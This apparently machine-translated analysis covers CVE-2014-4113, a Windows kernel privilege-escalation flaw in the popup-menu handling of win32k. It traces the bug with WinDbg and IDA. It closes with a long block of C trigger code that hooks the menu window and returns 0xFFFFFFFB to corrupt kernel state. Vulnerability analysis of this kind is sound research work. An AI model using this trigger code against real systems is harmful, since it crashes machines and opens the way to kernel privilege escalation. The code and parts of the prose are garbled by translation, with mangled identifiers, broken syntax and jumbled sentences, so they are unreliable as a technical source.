CVE-2014-4113 vulnerability exploitation process analysis
0x00 Introduction
Build a 32-bit kernel debugging environment through VMware and Windbg. The SYSTEM runs the loophole program win32.exe calc.exe for xp SP2, and a SYSTEM-authorized calc is displayed.
Through IDA analysis win32.exe, we can see the base address of signed int _ cdecl, and finally get the address of the PsLookupProcessByProcessId function. This function is used to exploit the vulnerability code.
The sub_401830 function is a vulnerability code used to perform permission escalation.
0x01 debugging process
By setting a breakpoint on the function, you can obtain the trigger location of the vulnerability.
The vulnerability was finally triggered by TrackPopupMenu. The call point is call dwordptr [esi + 20]. At this time, the value of esi is 0 xfffffffb. The function call stack is used to trace the sources of esi values in reverse direction. You can know the message processing function signed int _ stdcall xxxHandleMenuMessages (int a1, int a2, int a3) in Menu) when int _ stdcall xxxMNFindWindowFromPoint (int a1, int a2, unsigned int a3) is called in, an exception value is returned and the vulnerability is finally triggered.
Analyze the call process of xxxMNFindWindowFromPoint and find that the returned value of the exception is in int _ stdcall SfnOUTDWORDINDWORD (int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8. The exception value is finally returned by the KeUserModeCallback function through the value pointed to by v28. The prototype of the KeUserModeCallback function is as follows:
NTSTATUSKeUserModeCallback ( IN ULONGApiNumber, IN PVOIDInputBuffer, IN ULONGInputLength, OUT PVOID *OutputBuffer, IN PULONGOutputLength );
The kernel-state KeUserModeCallback function will eventually call the KiUserCallbackDispatcher function in ntdll to call the user-state callback function. By setting breakpoints for KeUserModeCallback and KiUserCallbackDispatcher, we can see the first processing of 0x1EB) A message calls the user-registered hook function through xxxCallHook called in xxxSendMessageTimeout. In the user space, the function calls the _ fnOUTDWORDINDWORD function in USER32, and finally calls the sub_401475 (pfnFilterProc) function.
In pfnFilterProc, the Program sets the window message processing function of PopupMenu through SetWindowLongA. When the xxxCallHook function returns, it is shown in the figure! (* (_ BYTE *) (a1 + 22) & 4) if the condition is true, xxxSendMessageToClient is executed. In this function, KeUserModeCallback is executed and the user State function sub_4013F3 is finally called.
The end of the sub_4013F3 function returns 0 xFFFFFFFB. It is equal to the value returned by the KeUserModeCallback function through v28. For further confirmation, the return value of the sub_4013F3 function is 0 xFFFFFFFF. The value pointed to by v28 is 0 xFFFFFFF.
After modifying the commands in win32.exe, change the push 0FFFFFFFBh at 0x40146D to push 0 FFFFFFFFh. After executing the command, the request fails to be obtained. It is further determined that the kernel uses abnormal function return values, which eventually leads to permission escalation.
It can be seen that when the message processing function of the PopupMenu window processes a message of 0x1 EB, the return value of the message function is not determined, resulting in a higher permission. Therefore, the complete vulnerability trigger process is as follows: by imitating the click event, PopupMenu created by CreatePopupMenu will receive a message of the 0x1EB type, because it cannot get the window handle of PopupMenu, the program cannot directly set the window message processing function of PopupMenu. Therefore, first register the hook function through SetWindowsHookExA and obtain the window handle of PopupMenu In the hook function, then, use SetWindowLongA to set the window message processing function of PopupMenu. After registration, xxxSendMessageToClient calls the new window message processing function to receive and process messages of 0x1EB. In the new window message processing function, the function returns 0 xFFFFFFFB for messages whose message number is 0x1EB, and finally triggers the vulnerability.
0x02 trigger code
Through analyzing the vulnerability, the code in win32.exe is simplified to get the following vulnerability trigger code.
# Include "stdafx. h "# include <windows. h> DWORD frequency = 0, dword_40DA5C = 0; WNDPROC frequency = NULL; lresult callback sub_4014D2 (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) {if (Msg = WM_ENTERIDLE) {if (dword_40DA5C! = 1) {dword_40DA5C = 1; // simulate the click message, trigger 0x1EB message processing, execute pfnFilterProc PostMessageA (hWnd, WM_KEYDOWN, 0x28u, 0); PostMessageA (hWnd, WM_KEYDOWN, 0x27, 0); PostMessageA (hWnd, WM_LBUTTONDOWN, 0, 0);} return DefWindowProcA (hWnd, Msg, wParam, lParam);} int _ cdecl sub_401306 () {HMENU v0; // ebx @ 1 HMENU v1; // edi @ 4 MENUITEMINFOA mi; // [sp + Ch] [bp-64h] @ 1 MENUITEMINFOA v4; // [sp + 3Ch] [bp-34h] @ 1 HMENU v9; // [sp + [Bp-4h] @ 1 v9 = 0; memset (void *) & mi, 0, sizeof (mi); memset (& v4, 0, sizeof (MENUITEMINFOA); mi. cbSize = 48; v0 = CreatePopupMenu (); if (v0) {mi. fMask = 64; if (InsertMenuItemA (v0, 0, 1, & mi) {v4.fMask = 68; v4.dwTypeData = (LPSTR) & dword_40DA54; v4.cch = 1; v4.hSubMenu = V0; v4.cbSize = 48; v1 = CreatePopupMenu (); v9 = v1; if (! V1 |! InsertMenuItemA (v1, 0, 1, (LPCMENUITEMINFOA) & v4) {DestroyMenu (v0); if (v1) DestroyMenu (v1) ;}} else DestroyMenu (v0 );} return (int) v9;} unsigned int _ stdcall sub_4013F3 (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) {if (Msg! = 0x1EB) return CallWindowProcA (callback, hWnd, Msg, wParam, lParam); return 0 xFFFFFFFBu; // returns xFFFFFFFB, triggering vulnerability} LRESULT _ stdcall pfnFilterProc (int nCode, WPARAM wParam, LPARAM lParam) {if (* (DWORD *) (lParam + 8) = 0x1EB) {UnhookWindowsHook (4, pfnFilterProc ); // set the window message processing function lpPrevWndFunc = (WNDPROC) SetWindowLongA (* (HWND *) (lParam + 12),-4, (LONG) sub_4013F3) for PopupMenu );} return CallNextHookEx (0, n Code, wParam, lParam);} int _ stdcall Exp () {int v1; // ebx @ 3 DWORD v2; // eax @ 5int result; // eax @ 12 HWND hWnd; // [sp + 10 h] [bp-58h] @ 2 signed int v5; // [sp + 14 h] [bp-54h] @ 1 LPVOID lpAddress; // [sp + 18 h] [bp-50h] @ 1 struct _ SYSTEM_INFO SystemInfo; // [sp + 1Ch] [bp-4Ch] @ 1 WNDCLASSA WndClass; // [sp + 40 h] [bp-28h] @ 1 v5 = 0; lpAddress = 0; memset (& SystemInfo, 0, 0x24u); memset (& WndClass, 0, 0x28u); WndClas S. lpfnWndProc = (WNDPROC) sub_4014D2; WndClass. lpszClassName = "woqunimalegebi"; GetNativeSystemInfo (& SystemInfo); if (SystemInfo. dwOemId! = 9 & (RegisterClassA (& WndClass) & (hWnd = createmediawexa (0, WndClass. lpszClassName, 0, 0,-1,-1, 0, 0, 0, 0 ))! = 0) {v1 = 0; v5 = 1; v1 = sub_401306 (); if (v1) {v2 = GetCurrentThreadId (); SetWindowsHookExA (4, pfnFilterProc, 0, v2); TrackPopupMenu (HMENU) v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);} DestroyWindow (hWnd); if (v1) DestroyMenu (HMENU) v1); UnhookWindowsHook (4, pfnFilterProc); if (v5) VirtualFree (lpAddress, 0, 0x8000u); result = 0;} else result = 0; return result ;} int _ tmain (int argc, _ TCHAR * argv []) {Exp (); return 0 ;}
After compilation and execution, an exception is triggered.